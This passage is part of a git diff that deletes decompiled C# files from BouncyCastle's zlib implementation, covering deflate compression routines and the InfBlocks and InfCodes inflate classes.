dyn_ltree[i * 2]; - } - data_type = (byte)((num2 <= num >> 2) ? 1u : 0u); - } - - internal void bi_flush() - { - if (bi_valid == 16) - { - pending_buf[pending++] = (byte)bi_buf; - pending_buf[pending++] = (byte)(bi_buf >> 8); - bi_buf = 0u; - bi_valid = 0; - } - else if (bi_valid >= 8) - { - pending_buf[pending++] = (byte)bi_buf; - bi_buf >>= 8; - bi_buf &= 255u; - bi_valid -= 8; - } - } - - internal void bi_windup() - { - if (bi_valid > 8) - { - pending_buf[pending++] = (byte)bi_buf; - pending_buf[pending++] = (byte)(bi_buf >> 8); - } - else if (bi_valid > 0) - { - pending_buf[pending++] = (byte)bi_buf; - } - bi_buf = 0u; - bi_valid = 0; - } - - internal void copy_block(int buf, int len, bool header) - { - bi_windup(); - last_eob_len = 8; - if (header) - { - put_short((short)len); - put_short((short)(~len)); - } - put_byte(window, buf, len); - } - - internal void flush_block_only(bool eof) - { - _tr_flush_block((block_start >= 0) ? block_start : (-1), strstart - block_start, eof); - block_start = strstart; - strm.flush_pending(); - } - - internal int deflate_stored(int flush) - { - int num = 65535; - if (num > pending_buf_size - 5) - { - num = pending_buf_size - 5; - } - while (true) - { - if (lookahead <= 1) - { - fill_window(); - if (lookahead == 0 && flush == 0) - { - return 0; - } - if (lookahead == 0) - { - break; - } - } - strstart += lookahead; - lookahead = 0; - int num2 = block_start + num; - if (strstart == 0 || strstart >= num2) - { - lookahead = strstart - num2; - strstart = num2; - flush_block_only(eof: false); - if (strm.avail_out == 0) - { - return 0; - } - } - if (strstart - block_start >= w_size - 262) - { - flush_block_only(eof: false); - if (strm.avail_out == 0) - { - return 0; - } - } - } - flush_block_only(flush == 4); - if (strm.avail_out == 0) - { - if (flush != 4) - { - return 0; - } - return 2; - } - if (flush != 4) - { - return 1; - } - return 3; - } - - internal void _tr_stored_block(int buf, int stored_len, bool eof) - { - send_bits(eof ? 1 : 0, 3); - copy_block(buf, stored_len, header: true); - } - - internal void _tr_flush_block(int buf, int stored_len, bool eof) - { - int num = 0; - int num2; - int num3; - if (level > 0) - { - if (data_type == 2) - { - set_data_type(); - } - l_desc.build_tree(this); - d_desc.build_tree(this); - num = build_bl_tree(); - num2 = opt_len + 3 + 7 >> 3; - num3 = static_len + 3 + 7 >> 3; - if (num3 <= num2) - { - num2 = num3; - } - } - else - { - num2 = (num3 = stored_len + 5); - } - if (stored_len + 4 <= num2 && buf != -1) - { - _tr_stored_block(buf, stored_len, eof); - } - else if (num3 == num2) - { - send_bits(2 + (eof ? 1 : 0), 3); - compress_block(StaticTree.static_ltree, StaticTree.static_dtree); - } - else - { - send_bits(4 + (eof ? 1 : 0), 3); - send_all_trees(l_desc.max_code + 1, d_desc.max_code + 1, num + 1); - compress_block(dyn_ltree, dyn_dtree); - } - init_block(); - if (eof) - { - bi_windup(); - } - } - - internal void fill_window() - { - do - { - int num = window_size - lookahead - strstart; - int num2; - if (num == 0 && strstart == 0 && lookahead == 0) - { - num = w_size; - } - else if (num == -1) - { - num--; - } - else if (strstart >= w_size + w_size - 262) - { - Array.Copy(window, w_size, window, 0, w_size); - match_start -= w_size; - strstart -= w_size; - block_start -= w_size; - num2 = hash_size; - int num3 = num2; - do - { - int num4 = head[--num3] & 0xFFFF; - head[num3] = (short)((num4 >= w_size) ? (num4 - w_size) : 0); - } - while (--num2 != 0); - num2 = w_size; - num3 = num2; - do - { - int num4 = prev[--num3] & 0xFFFF; - prev[num3] = (short)((num4 >= w_size) ? (num4 - w_size) : 0); - } - while (--num2 != 0); - num += w_size; - } - if (strm.avail_in == 0) - { - break; - } - num2 = strm.read_buf(window, strstart + lookahead, num); - lookahead += num2; - if (lookahead >= 3) - { - ins_h = window[strstart] & 0xFF; - ins_h = ((ins_h << hash_shift) ^ (window[strstart + 1] & 0xFF)) & hash_mask; - } - } - while (lookahead < 262 && strm.avail_in != 0); - } - - internal int deflate_fast(int flush) - { - int num = 0; - while (true) - { - if (lookahead < 262) - { - fill_window(); - if (lookahead < 262 && flush == 0) - { - return 0; - } - if (lookahead == 0) - { - break; - } - } - if (lookahead >= 3) - { - ins_h = ((ins_h << hash_shift) ^ (window[strstart + 2] & 0xFF)) & hash_mask; - num = head[ins_h] & 0xFFFF; - prev[strstart & w_mask] = head[ins_h]; - head[ins_h] = (short)strstart; - } - if ((long)num != 0 && ((strstart - num) & 0xFFFF) <= w_size - 262 && strategy != 2) - { - match_length = longest_match(num); - } - bool flag; - if (match_length >= 3) - { - flag = _tr_tally(strstart - match_start, match_length - 3); - lookahead -= match_length; - if (match_length <= max_lazy_match && lookahead >= 3) - { - match_length--; - do - { - strstart++; - ins_h = ((ins_h << hash_shift) ^ (window[strstart + 2] & 0xFF)) & hash_mask; - num = head[ins_h] & 0xFFFF; - prev[strstart & w_mask] = head[ins_h]; - head[ins_h] = (short)strstart; - } - while (--match_length != 0); - strstart++; - } - else - { - strstart += match_length; - match_length = 0; - ins_h = window[strstart] & 0xFF; - ins_h = ((ins_h << hash_shift) ^ (window[strstart + 1] & 0xFF)) & hash_mask; - } - } - else - { - flag = _tr_tally(0, window[strstart] & 0xFF); - lookahead--; - strstart++; - } - if (flag) - { - flush_block_only(eof: false); - if (strm.avail_out == 0) - { - return 0; - } - } - } - flush_block_only(flush == 4); - if (strm.avail_out == 0) - { - if (flush == 4) - { - return 2; - } - return 0; - } - if (flush != 4) - { - return 1; - } - return 3; - } - - internal int deflate_slow(int flush) - { - int num = 0; - while (true) - { - if (lookahead < 262) - { - fill_window(); - if (lookahead < 262 && flush == 0) - { - return 0; - } - if (lookahead == 0) - { - break; - } - } - if (lookahead >= 3) - { - ins_h = ((ins_h << hash_shift) ^ (window[strstart + 2] & 0xFF)) & hash_mask; - num = head[ins_h] & 0xFFFF; - prev[strstart & w_mask] = head[ins_h]; - head[ins_h] = (short)strstart; - } - prev_length = match_length; - prev_match = match_start; - match_length = 2; - if (num != 0 && prev_length < max_lazy_match && ((strstart - num) & 0xFFFF) <= w_size - 262) - { - if (strategy != 2) - { - match_length = longest_match(num); - } - if (match_length <= 5 && (strategy == 1 || (match_length == 3 && strstart - match_start > 4096))) - { - match_length = 2; - } - } - if (prev_length >= 3 && match_length <= prev_length) - { - int num2 = strstart + lookahead - 3; - bool flag = _tr_tally(strstart - 1 - prev_match, prev_length - 3); - lookahead -= prev_length - 1; - prev_length -= 2; - do - { - if (++strstart <= num2) - { - ins_h = ((ins_h << hash_shift) ^ (window[strstart + 2] & 0xFF)) & hash_mask; - num = head[ins_h] & 0xFFFF; - prev[strstart & w_mask] = head[ins_h]; - head[ins_h] = (short)strstart; - } - } - while (--prev_length != 0); - match_available = 0; - match_length = 2; - strstart++; - if (flag) - { - flush_block_only(eof: false); - if (strm.avail_out == 0) - { - return 0; - } - } - } - else if (match_available != 0) - { - if (_tr_tally(0, window[strstart - 1] & 0xFF)) - { - flush_block_only(eof: false); - } - strstart++; - lookahead--; - if (strm.avail_out == 0) - { - return 0; - } - } - else - { - match_available = 1; - strstart++; - lookahead--; - } - } - if (match_available != 0) - { - bool flag = _tr_tally(0, window[strstart - 1] & 0xFF); - match_available = 0; - } - flush_block_only(flush == 4); - if (strm.avail_out == 0) - { - if (flush == 4) - { - return 2; - } - return 0; - } - if (flush != 4) - { - return 1; - } - return 3; - } - - internal int longest_match(int cur_match) - { - int num = max_chain_length; - int num2 = strstart; - int num3 = prev_length; - int num4 = ((strstart > w_size - 262) ? (strstart - (w_size - 262)) : 0); - int num5 = nice_match; - int num6 = w_mask; - int num7 = strstart + 258; - byte b = window[num2 + num3 - 1]; - byte b2 = window[num2 + num3]; - if (prev_length >= good_match) - { - num >>= 2; - } - if (num5 > lookahead) - { - num5 = lookahead; - } - do - { - int num8 = cur_match; - if (window[num8 + num3] != b2 || window[num8 + num3 - 1] != b || window[num8] != window[num2] || window[++num8] != window[num2 + 1]) - { - continue; - } - num2 += 2; - num8++; - while (window[++num2] == window[++num8] && window[++num2] == window[++num8] && window[++num2] == window[++num8] && window[++num2] == window[++num8] && window[++num2] == window[++num8] && window[++num2] == window[++num8] && window[++num2] == window[++num8] && window[++num2] == window[++num8] && num2 < num7) - { - } - int num9 = 258 - (num7 - num2); - num2 = num7 - 258; - if (num9 > num3) - { - match_start = cur_match; - num3 = num9; - if (num9 >= num5) - { - break; - } - b = window[num2 + num3 - 1]; - b2 = window[num2 + num3]; - } - } - while ((cur_match = prev[cur_match & num6] & 0xFFFF) > num4 && --num != 0); - if (num3 <= lookahead) - { - return num3; - } - return lookahead; - } - - internal int deflateInit(ZStream strm, int level, int bits) - { - return deflateInit2(strm, level, 8, bits, 8, 0); - } - - internal int deflateInit(ZStream strm, int level) - { - return deflateInit(strm, level, 15); - } - - internal int deflateInit2(ZStream strm, int level, int method, int windowBits, int memLevel, int strategy) - { - int num = 0; - strm.msg = null; - if (level == -1) - { - level = 6; - } - if (windowBits < 0) - { - num = 1; - windowBits = -windowBits; - } - if (memLevel < 1 || memLevel > 9 || method != 8 || windowBits < 9 || windowBits > 15 || level < 0 || level > 9 || strategy < 0 || strategy > 2) - { - return -2; - } - strm.dstate = this; - noheader = num; - w_bits = windowBits; - w_size = 1 << w_bits; - w_mask = w_size - 1; - hash_bits = memLevel + 7; - hash_size = 1 << hash_bits; - hash_mask = hash_size - 1; - hash_shift = (hash_bits + 3 - 1) / 3; - window = new byte[w_size * 2]; - prev = new short[w_size]; - head = new short[hash_size]; - lit_bufsize = 1 << memLevel + 6; - pending_buf = new byte[lit_bufsize * 4]; - pending_buf_size = lit_bufsize * 4; - d_buf = lit_bufsize / 2; - l_buf = 3 * lit_bufsize; - this.level = level; - this.strategy = strategy; - this.method = (byte)method; - return deflateReset(strm); - } - - internal int deflateReset(ZStream strm) - { - strm.total_in = (strm.total_out = 0L); - strm.msg = null; - strm.data_type = 2; - pending = 0; - pending_out = 0; - if (noheader < 0) - { - noheader = 0; - } - status = ((noheader != 0) ? 113 : 42); - strm.adler = strm._adler.adler32(0L, null, 0, 0); - last_flush = 0; - tr_init(); - lm_init(); - return 0; - } - - internal int deflateEnd() - { - if (status != 42 && status != 113 && status != 666) - { - return -2; - } - pending_buf = null; - head = null; - prev = null; - window = null; - if (status != 113) - { - return 0; - } - return -3; - } - - internal int deflateParams(ZStream strm, int _level, int _strategy) - { - int result = 0; - if (_level == -1) - { - _level = 6; - } - if (_level < 0 || _level > 9 || _strategy < 0 || _strategy > 2) - { - return -2; - } - if (config_table[level].func != config_table[_level].func && strm.total_in != 0) - { - result = strm.deflate(1); - } - if (level != _level) - { - level = _level; - max_lazy_match = config_table[level].max_lazy; - good_match = config_table[level].good_length; - nice_match = config_table[level].nice_length; - max_chain_length = config_table[level].max_chain; - } - strategy = _strategy; - return result; - } - - internal int deflateSetDictionary(ZStream strm, byte[] dictionary, int dictLength) - { - int num = dictLength; - int sourceIndex = 0; - if (dictionary == null || status != 42) - { - return -2; - } - strm.adler = strm._adler.adler32(strm.adler, dictionary, 0, dictLength); - if (num < 3) - { - return 0; - } - if (num > w_size - 262) - { - num = w_size - 262; - sourceIndex = dictLength - num; - } - Array.Copy(dictionary, sourceIndex, window, 0, num); - strstart = num; - block_start = num; - ins_h = window[0] & 0xFF; - ins_h = ((ins_h << hash_shift) ^ (window[1] & 0xFF)) & hash_mask; - for (int i = 0; i <= num - 3; i++) - { - ins_h = ((ins_h << hash_shift) ^ (window[i + 2] & 0xFF)) & hash_mask; - prev[i & w_mask] = head[ins_h]; - head[ins_h] = (short)i; - } - return 0; - } - - internal int deflate(ZStream strm, int flush) - { - if (flush > 4 || flush < 0) - { - return -2; - } - if (strm.next_out == null || (strm.next_in == null && strm.avail_in != 0) || (status == 666 && flush != 4)) - { - strm.msg = z_errmsg[4]; - return -2; - } - if (strm.avail_out == 0) - { - strm.msg = z_errmsg[7]; - return -5; - } - this.strm = strm; - int num = last_flush; - last_flush = flush; - if (status == 42) - { - int num2 = 8 + (w_bits - 8 << 4) << 8; - int num3 = ((level - 1) & 0xFF) >> 1; - if (num3 > 3) - { - num3 = 3; - } - num2 |= num3 << 6; - if (strstart != 0) - { - num2 |= 0x20; - } - num2 += 31 - num2 % 31; - status = 113; - putShortMSB(num2); - if (strstart != 0) - { - putShortMSB((int)(strm.adler >> 16)); - putShortMSB((int)(strm.adler & 0xFFFF)); - } - strm.adler = strm._adler.adler32(0L, null, 0, 0); - } - if (pending != 0) - { - strm.flush_pending(); - if (strm.avail_out == 0) - { - last_flush = -1; - return 0; - } - } - else if (strm.avail_in == 0 && flush <= num && flush != 4) - { - strm.msg = z_errmsg[7]; - return -5; - } - if (status == 666 && strm.avail_in != 0) - { - strm.msg = z_errmsg[7]; - return -5; - } - if (strm.avail_in != 0 || lookahead != 0 || (flush != 0 && status != 666)) - { - int num4 = -1; - switch (config_table[level].func) - { - case 0: - num4 = deflate_stored(flush); - break; - case 1: - num4 = deflate_fast(flush); - break; - case 2: - num4 = deflate_slow(flush); - break; - } - if (num4 == 2 || num4 == 3) - { - status = 666; - } - switch (num4) - { - case 0: - case 2: - if (strm.avail_out == 0) - { - last_flush = -1; - } - return 0; - case 1: - if (flush == 1) - { - _tr_align(); - } - else - { - _tr_stored_block(0, 0, eof: false); - if (flush == 3) - { - for (int i = 0; i < hash_size; i++) - { - head[i] = 0; - } - } - } - strm.flush_pending(); - if (strm.avail_out == 0) - { - last_flush = -1; - return 0; - } - break; - } - } - if (flush != 4) - { - return 0; - } - if (noheader != 0) - { - return 1; - } - putShortMSB((int)(strm.adler >> 16)); - putShortMSB((int)(strm.adler & 0xFFFF)); - strm.flush_pending(); - noheader = -1; - if (pending == 0) - { - return 1; - } - return 0; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/InfBlocks.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/InfBlocks.cs deleted file mode 100644 index c1a3bc8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/InfBlocks.cs +++ /dev/null @@ -1,672 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Utilities.Zlib; - -internal sealed class InfBlocks -{ - private const int MANY = 1440; - - private const int Z_OK = 0; - - private const int Z_STREAM_END = 1; - - private const int Z_NEED_DICT = 2; - - private const int Z_ERRNO = -1; - - private const int Z_STREAM_ERROR = -2; - - private const int Z_DATA_ERROR = -3; - - private const int Z_MEM_ERROR = -4; - - private const int Z_BUF_ERROR = -5; - - private const int Z_VERSION_ERROR = -6; - - private const int TYPE = 0; - - private const int LENS = 1; - - private const int STORED = 2; - - private const int TABLE = 3; - - private const int BTREE = 4; - - private const int DTREE = 5; - - private const int CODES = 6; - - private const int DRY = 7; - - private const int DONE = 8; - - private const int BAD = 9; - - private static readonly int[] inflate_mask = new int[17] - { - 0, 1, 3, 7, 15, 31, 63, 127, 255, 511, - 1023, 2047, 4095, 8191, 16383, 32767, 65535 - }; - - private static readonly int[] border = new int[19] - { - 16, 17, 18, 0, 8, 7, 9, 6, 10, 5, - 11, 4, 12, 3, 13, 2, 14, 1, 15 - }; - - internal int mode; - - internal int left; - - internal int table; - - internal int index; - - internal int[] blens; - - internal int[] bb = new int[1]; - - internal int[] tb = new int[1]; - - internal InfCodes codes = new InfCodes(); - - private int last; - - internal int bitk; - - internal int bitb; - - internal int[] hufts; - - internal byte[] window; - - internal int end; - - internal int read; - - internal int write; - - internal object checkfn; - - internal long check; - - internal InfTree inftree = new InfTree(); - - internal InfBlocks(ZStream z, object checkfn, int w) - { - hufts = new int[4320]; - window = new byte[w]; - end = w; - this.checkfn = checkfn; - mode = 0; - reset(z, null); - } - - internal void reset(ZStream z, long[] c) - { - if (c != null) - { - c[0] = check; - } - if (mode != 4) - { - _ = mode; - _ = 5; - } - if (mode == 6) - { - codes.free(z); - } - mode = 0; - bitk = 0; - bitb = 0; - read = (write = 0); - if (checkfn != null) - { - z.adler = (check = z._adler.adler32(0L, null, 0, 0)); - } - } - - internal int proc(ZStream z, int r) - { - int num = z.next_in_index; - int num2 = z.avail_in; - int num3 = bitb; - int i = bitk; - int num4 = write; - int num5 = ((num4 < read) ? (read - num4 - 1) : (end - num4)); - while (true) - { - switch (mode) - { - case 0: - { - for (; i < 3; i += 8) - { - if (num2 != 0) - { - r = 0; - num2--; - num3 |= (z.next_in[num++] & 0xFF) << i; - continue; - } - bitb = num3; - bitk = i; - z.avail_in = num2; - z.total_in += num - z.next_in_index; - z.next_in_index = num; - write = num4; - return inflate_flush(z, r); - } - int num6 = num3 & 7; - last = num6 & 1; - switch (num6 >> 1) - { - case 0: - num3 >>= 3; - i -= 3; - num6 = i & 7; - num3 >>= num6; - i -= num6; - mode = 1; - break; - case 1: - { - int[] array = new int[1]; - int[] array2 = new int[1]; - int[][] array3 = new int[1][]; - int[][] array4 = new int[1][]; - InfTree.inflate_trees_fixed(array, array2, array3, array4, z); - codes.init(array[0], array2[0], array3[0], 0, array4[0], 0, z); - num3 >>= 3; - i -= 3; - mode = 6; - break; - } - case 2: - num3 >>= 3; - i -= 3; - mode = 3; - break; - case 3: - num3 >>= 3; - i -= 3; - mode = 9; - z.msg = "invalid block type"; - r = -3; - bitb = num3; - bitk = i; - z.avail_in = num2; - z.total_in += num - z.next_in_index; - z.next_in_index = num; - write = num4; - return inflate_flush(z, r); - } - break; - } - case 1: - for (; i < 32; i += 8) - { - if (num2 != 0) - { - r = 0; - num2--; - num3 |= (z.next_in[num++] & 0xFF) << i; - continue; - } - bitb = num3; - bitk = i; - z.avail_in = num2; - z.total_in += num - z.next_in_index; - z.next_in_index = num; - write = num4; - return inflate_flush(z, r); - } - if (((~num3 >> 16) & 0xFFFF) != (num3 & 0xFFFF)) - { - mode = 9; - z.msg = "invalid stored block lengths"; - r = -3; - bitb = num3; - bitk = i; - z.avail_in = num2; - z.total_in += num - z.next_in_index; - z.next_in_index = num; - write = num4; - return inflate_flush(z, r); - } - left = num3 & 0xFFFF; - num3 = (i = 0); - mode = ((left != 0) ? 2 : ((last != 0) ? 7 : 0)); - break; - case 2: - { - if (num2 == 0) - { - bitb = num3; - bitk = i; - z.avail_in = num2; - z.total_in += num - z.next_in_index; - z.next_in_index = num; - write = num4; - return inflate_flush(z, r); - } - if (num5 == 0) - { - if (num4 == end && read != 0) - { - num4 = 0; - num5 = ((num4 < read) ? (read - num4 - 1) : (end - num4)); - } - if (num5 == 0) - { - write = num4; - r = inflate_flush(z, r); - num4 = write; - num5 = ((num4 < read) ? (read - num4 - 1) : (end - num4)); - if (num4 == end && read != 0) - { - num4 = 0; - num5 = ((num4 < read) ? (read - num4 - 1) : (end - num4)); - } - if (num5 == 0) - { - bitb = num3; - bitk = i; - z.avail_in = num2; - z.total_in += num - z.next_in_index; - z.next_in_index = num; - write = num4; - return inflate_flush(z, r); - } - } - } - r = 0; - int num6 = left; - if (num6 > num2) - { - num6 = num2; - } - if (num6 > num5) - { - num6 = num5; - } - Array.Copy(z.next_in, num, window, num4, num6); - num += num6; - num2 -= num6; - num4 += num6; - num5 -= num6; - if ((left -= num6) == 0) - { - mode = ((last != 0) ? 7 : 0); - } - break; - } - case 3: - { - for (; i < 14; i += 8) - { - if (num2 != 0) - { - r = 0; - num2--; - num3 |= (z.next_in[num++] & 0xFF) << i; - continue; - } - bitb = num3; - bitk = i; - z.avail_in = num2; - z.total_in += num - z.next_in_index; - z.next_in_index = num; - write = num4; - return inflate_flush(z, r); - } - int num6 = (table = num3 & 0x3FFF); - if ((num6 & 0x1F) > 29 || ((num6 >> 5) & 0x1F) > 29) - { - mode = 9; - z.msg = "too many length or distance symbols"; - r = -3; - bitb = num3; - bitk = i; - z.avail_in = num2; - z.total_in += num - z.next_in_index; - z.next_in_index = num; - write = num4; - return inflate_flush(z, r); - } - num6 = 258 + (num6 & 0x1F) + ((num6 >> 5) & 0x1F); - if (blens == null || blens.Length < num6) - { - blens = new int[num6]; - } - else - { - for (int j = 0; j < num6; j++) - { - blens[j] = 0; - } - } - num3 >>= 14; - i -= 14; - index = 0; - mode = 4; - goto case 4; - } - case 4: - { - while (index < 4 + (table >> 10)) - { - for (; i < 3; i += 8) - { - if (num2 != 0) - { - r = 0; - num2--; - num3 |= (z.next_in[num++] & 0xFF) << i; - continue; - } - bitb = num3; - bitk = i; - z.avail_in = num2; - z.total_in += num - z.next_in_index; - z.next_in_index = num; - write = num4; - return inflate_flush(z, r); - } - blens[border[index++]] = num3 & 7; - num3 >>= 3; - i -= 3; - } - while (index < 19) - { - blens[border[index++]] = 0; - } - bb[0] = 7; - int num6 = inftree.inflate_trees_bits(blens, bb, tb, hufts, z); - if (num6 != 0) - { - r = num6; - if (r == -3) - { - blens = null; - mode = 9; - } - bitb = num3; - bitk = i; - z.avail_in = num2; - z.total_in += num - z.next_in_index; - z.next_in_index = num; - write = num4; - return inflate_flush(z, r); - } - index = 0; - mode = 5; - goto case 5; - } - case 5: - { - int num6; - while (true) - { - num6 = table; - if (index >= 258 + (num6 & 0x1F) + ((num6 >> 5) & 0x1F)) - { - break; - } - for (num6 = bb[0]; i < num6; i += 8) - { - if (num2 != 0) - { - r = 0; - num2--; - num3 |= (z.next_in[num++] & 0xFF) << i; - continue; - } - bitb = num3; - bitk = i; - z.avail_in = num2; - z.total_in += num - z.next_in_index; - z.next_in_index = num; - write = num4; - return inflate_flush(z, r); - } - _ = tb[0]; - _ = -1; - num6 = hufts[(tb[0] + (num3 & inflate_mask[num6])) * 3 + 1]; - int num7 = hufts[(tb[0] + (num3 & inflate_mask[num6])) * 3 + 2]; - if (num7 < 16) - { - num3 >>= num6; - i -= num6; - blens[index++] = num7; - continue; - } - int num8 = ((num7 == 18) ? 7 : (num7 - 14)); - int num9 = ((num7 == 18) ? 11 : 3); - for (; i < num6 + num8; i += 8) - { - if (num2 != 0) - { - r = 0; - num2--; - num3 |= (z.next_in[num++] & 0xFF) << i; - continue; - } - bitb = num3; - bitk = i; - z.avail_in = num2; - z.total_in += num - z.next_in_index; - z.next_in_index = num; - write = num4; - return inflate_flush(z, r); - } - num3 >>= num6; - i -= num6; - num9 += num3 & inflate_mask[num8]; - num3 >>= num8; - i -= num8; - num8 = index; - num6 = table; - if (num8 + num9 > 258 + (num6 & 0x1F) + ((num6 >> 5) & 0x1F) || (num7 == 16 && num8 < 1)) - { - blens = null; - mode = 9; - z.msg = "invalid bit length repeat"; - r = -3; - bitb = num3; - bitk = i; - z.avail_in = num2; - z.total_in += num - z.next_in_index; - z.next_in_index = num; - write = num4; - return inflate_flush(z, r); - } - num7 = ((num7 == 16) ? blens[num8 - 1] : 0); - do - { - blens[num8++] = num7; - } - while (--num9 != 0); - index = num8; - } - tb[0] = -1; - int[] array5 = new int[1]; - int[] array6 = new int[1]; - int[] array7 = new int[1]; - int[] array8 = new int[1]; - array5[0] = 9; - array6[0] = 6; - num6 = table; - num6 = inftree.inflate_trees_dynamic(257 + (num6 & 0x1F), 1 + ((num6 >> 5) & 0x1F), blens, array5, array6, array7, array8, hufts, z); - if (num6 != 0) - { - if (num6 == -3) - { - blens = null; - mode = 9; - } - r = num6; - bitb = num3; - bitk = i; - z.avail_in = num2; - z.total_in += num - z.next_in_index; - z.next_in_index = num; - write = num4; - return inflate_flush(z, r); - } - codes.init(array5[0], array6[0], hufts, array7[0], hufts, array8[0], z); - mode = 6; - goto case 6; - } - case 6: - bitb = num3; - bitk = i; - z.avail_in = num2; - z.total_in += num - z.next_in_index; - z.next_in_index = num; - write = num4; - if ((r = codes.proc(this, z, r)) != 1) - { - return inflate_flush(z, r); - } - r = 0; - codes.free(z); - num = z.next_in_index; - num2 = z.avail_in; - num3 = bitb; - i = bitk; - num4 = write; - num5 = ((num4 < read) ? (read - num4 - 1) : (end - num4)); - if (last == 0) - { - mode = 0; - break; - } - mode = 7; - goto case 7; - case 7: - write = num4; - r = inflate_flush(z, r); - num4 = write; - num5 = ((num4 < read) ? (read - num4 - 1) : (end - num4)); - if (read != write) - { - bitb = num3; - bitk = i; - z.avail_in = num2; - z.total_in += num - z.next_in_index; - z.next_in_index = num; - write = num4; - return inflate_flush(z, r); - } - mode = 8; - goto case 8; - case 8: - r = 1; - bitb = num3; - bitk = i; - z.avail_in = num2; - z.total_in += num - z.next_in_index; - z.next_in_index = num; - write = num4; - return inflate_flush(z, r); - case 9: - r = -3; - bitb = num3; - bitk = i; - z.avail_in = num2; - z.total_in += num - z.next_in_index; - z.next_in_index = num; - write = num4; - return inflate_flush(z, r); - default: - r = -2; - bitb = num3; - bitk = i; - z.avail_in = num2; - z.total_in += num - z.next_in_index; - z.next_in_index = num; - write = num4; - return inflate_flush(z, r); - } - } - } - - internal void free(ZStream z) - { - reset(z, null); - window = null; - hufts = null; - } - - internal void set_dictionary(byte[] d, int start, int n) - { - Array.Copy(d, start, window, 0, n); - read = (write = n); - } - - internal int sync_point() - { - if (mode != 1) - { - return 0; - } - return 1; - } - - internal int inflate_flush(ZStream z, int r) - { - int next_out_index = z.next_out_index; - int num = read; - int num2 = ((num <= write) ? write : end) - num; - if (num2 > z.avail_out) - { - num2 = z.avail_out; - } - if (num2 != 0 && r == -5) - { - r = 0; - } - z.avail_out -= num2; - z.total_out += num2; - if (checkfn != null) - { - z.adler = (check = z._adler.adler32(check, window, num, num2)); - } - Array.Copy(window, num, z.next_out, next_out_index, num2); - next_out_index += num2; - num += num2; - if (num == end) - { - num = 0; - if (write == end) - { - write = 0; - } - num2 = write - num; - if (num2 > z.avail_out) - { - num2 = z.avail_out; - } - if (num2 != 0 && r == -5) - { - r = 0; - } - z.avail_out -= num2; - z.total_out += num2; - if (checkfn != null) - { - z.adler = (check = z._adler.adler32(check, window, num, num2)); - } - Array.Copy(window, num, z.next_out, next_out_index, num2); - next_out_index += num2; - num += num2; - } - z.next_out_index = next_out_index; - read = num; - return r; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/InfCodes.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/InfCodes.cs deleted file mode 100644 index 81af3da..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/InfCodes.cs +++ /dev/null @@ -1,660 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Utilities.Zlib; - -internal sealed class InfCodes -{ - private const int Z_OK = 0; - - private const int Z_STREAM_END = 1; - - private const int Z_NEED_DICT = 2; - - private const int Z_ERRNO = -1; - - private const int Z_STREAM_ERROR = -2; - - private const int Z_DATA_ERROR = -3; - - private const int Z_MEM_ERROR = -4; - - private const int Z_BUF_ERROR = -5; - - private const int Z_VERSION_ERROR = -6; - - private const int START = 0; - - private const int LEN = 1; - - private const int LENEXT = 2; - - private const int DIST = 3; - - private const int DISTEXT = 4; - - private const int COPY = 5; - - private const int LIT = 6; - - private const int WASH = 7; - - private const int END = 8; - - private const int BADCODE = 9; - - private static readonly int[] inflate_mask = new int[17] - { - 0, 1, 3, 7, 15, 31, 63, 127, 255, 511, - 1023, 2047, 4095, 8191, 16383, 32767, 65535 - }; - - private int mode; - - private int len; - - private int[] tree; - - private int tree_index = 0; - - private int need; - - private int lit; - - private int get; - - private int dist; - - private byte lbits; - - private byte dbits; - - private int[] ltree; - - private int ltree_index; - - private int[] dtree; - - private int dtree_index; - - internal InfCodes() - { - } - - internal void init(int bl, int bd, int[] tl, int tl_index, int[] td, int td_index, ZStream z) - { - mode = 0; - lbits = (byte)bl; - dbits = (byte)bd; - ltree = tl; - ltree_index = tl_index; - dtree = td; - dtree_index = td_index; - tree = null; - } - - internal int proc(InfBlocks s, ZStream z, int r) - { - int num = 0; - int num2 = 0; - int num3 = 0; - num3 = z.next_in_index; - int num4 = z.avail_in; - num = s.bitb; - num2 = s.bitk; - int num5 = s.write; - int num6 = ((num5 < s.read) ? (s.read - num5 - 1) : (s.end - num5)); - while (true) - { - switch (mode) - { - case 0: - if (num6 >= 258 && num4 >= 10) - { - s.bitb = num; - s.bitk = num2; - z.avail_in = num4; - z.total_in += num3 - z.next_in_index; - z.next_in_index = num3; - s.write = num5; - r = inflate_fast(lbits, dbits, ltree, ltree_index, dtree, dtree_index, s, z); - num3 = z.next_in_index; - num4 = z.avail_in; - num = s.bitb; - num2 = s.bitk; - num5 = s.write; - num6 = ((num5 < s.read) ? (s.read - num5 - 1) : (s.end - num5)); - if (r != 0) - { - mode = ((r == 1) ? 7 : 9); - break; - } - } - need = lbits; - tree = ltree; - tree_index = ltree_index; - mode = 1; - goto case 1; - case 1: - { - int num7; - for (num7 = need; num2 < num7; num2 += 8) - { - if (num4 != 0) - { - r = 0; - num4--; - num |= (z.next_in[num3++] & 0xFF) << num2; - continue; - } - s.bitb = num; - s.bitk = num2; - z.avail_in = num4; - z.total_in += num3 - z.next_in_index; - z.next_in_index = num3; - s.write = num5; - return s.inflate_flush(z, r); - } - int num8 = (tree_index + (num & inflate_mask[num7])) * 3; - num >>= tree[num8 + 1]; - num2 -= tree[num8 + 1]; - int num9 = tree[num8]; - if (num9 == 0) - { - lit = tree[num8 + 2]; - mode = 6; - break; - } - if ((num9 & 0x10) != 0) - { - get = num9 & 0xF; - len = tree[num8 + 2]; - mode = 2; - break; - } - if ((num9 & 0x40) == 0) - { - need = num9; - tree_index = num8 / 3 + tree[num8 + 2]; - break; - } - if ((num9 & 0x20) != 0) - { - mode = 7; - break; - } - mode = 9; - z.msg = "invalid literal/length code"; - r = -3; - s.bitb = num; - s.bitk = num2; - z.avail_in = num4; - z.total_in += num3 - z.next_in_index; - z.next_in_index = num3; - s.write = num5; - return s.inflate_flush(z, r); - } - case 2: - { - int num7; - for (num7 = get; num2 < num7; num2 += 8) - { - if (num4 != 0) - { - r = 0; - num4--; - num |= (z.next_in[num3++] & 0xFF) << 